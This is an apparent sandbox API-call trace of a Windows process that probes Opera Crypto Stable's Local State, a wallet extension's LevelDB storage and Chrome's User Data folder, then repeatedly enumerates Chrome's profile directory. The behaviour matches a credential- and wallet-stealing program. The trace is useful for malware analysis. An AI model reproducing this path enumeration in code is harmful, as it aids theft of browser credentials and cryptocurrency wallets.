[0052.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=85, lpWideCharStr=0x67d978, cchWideChar=85 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\Local State") returned 85
[0052.741] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x67da30
[0052.741] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0052.741] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera crypto stable\\local state")) returned 0xffffffff
[0052.742] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da30 | out: hHeap=0x670000) returned 1
[0052.742] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.742] wsprintfA (in: param_1=0x1817b8, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\*") returned 74
[0052.742] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera crypto stable\\*"), lpFindFileData=0x181678 | out: lpFindFileData=0x181678*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="À")) returned 0xffffffff
[0052.742] wsprintfA (in: param_1=0x181388, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.742] lstrcatA (in: lpString1="", lpString2="Opera Crypto Stable" | out: lpString1="Opera Crypto Stable") returned="Opera Crypto Stable"
[0052.742] wsprintfA (in: param_1=0x18189c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Crypto Stable\\Local Extension Settings\\gojhcdgcpbpfigcaejpfhfegekdgiblk") returned 131
[0052.742] wsprintfA (in: param_1=0x181694, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Crypto Stable\\Local Extension Settings\\gojhcdgcpbpfigcaejpfhfegekdgiblk\\CURRENT") returned 139
[0052.742] wsprintfA (in: param_1=0x1819a0, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Crypto Stable\\Sync Extension Settings\\gojhcdgcpbpfigcaejpfhfegekdgiblk") returned 130
[0052.742] wsprintfA (in: param_1=0x181590, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Crypto Stable\\Sync Extension Settings\\gojhcdgcpbpfigcaejpfhfegekdgiblk\\CURRENT") returned 138
[0052.742] wsprintfA (in: param_1=0x181798, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Crypto Stable\\IndexedDB\\chrome-extension_gojhcdgcpbpfigcaejpfhfegekdgiblk_0.indexeddb.leveldb") returned 153
[0052.742] wsprintfA (in: param_1=0x18148c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Crypto Stable\\IndexedDB\\chrome-extension_gojhcdgcpbpfigcaejpfhfegekdgiblk_0.indexeddb.leveldb\\CURRENT") returned 161
[0052.742] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Crypto Stable\\IndexedDB\\chrome-extension_gojhcdgcpbpfigcaejpfhfegekdgiblk_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera crypto stable\\indexeddb\\chrome-extension_gojhcdgcpbpfigcaejpfhfegekdgiblk_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.743] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.743] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.743] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0052.743] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0052.743] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\"
[0052.743] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State"
[0052.743] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73
[0052.743] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x92) returned 0x67d968
[0052.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=73, lpWideCharStr=0x67d968, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State") returned 73
[0052.743] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da08
[0052.743] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.743] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\local state")) returned 0xffffffff
[0052.743] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da08 | out: hHeap=0x670000) returned 1
[0052.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.744] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*") returned 62
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.744] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.744] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.744] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.744] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.744] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.744] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.744] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.744] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.744] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.745] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.745] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
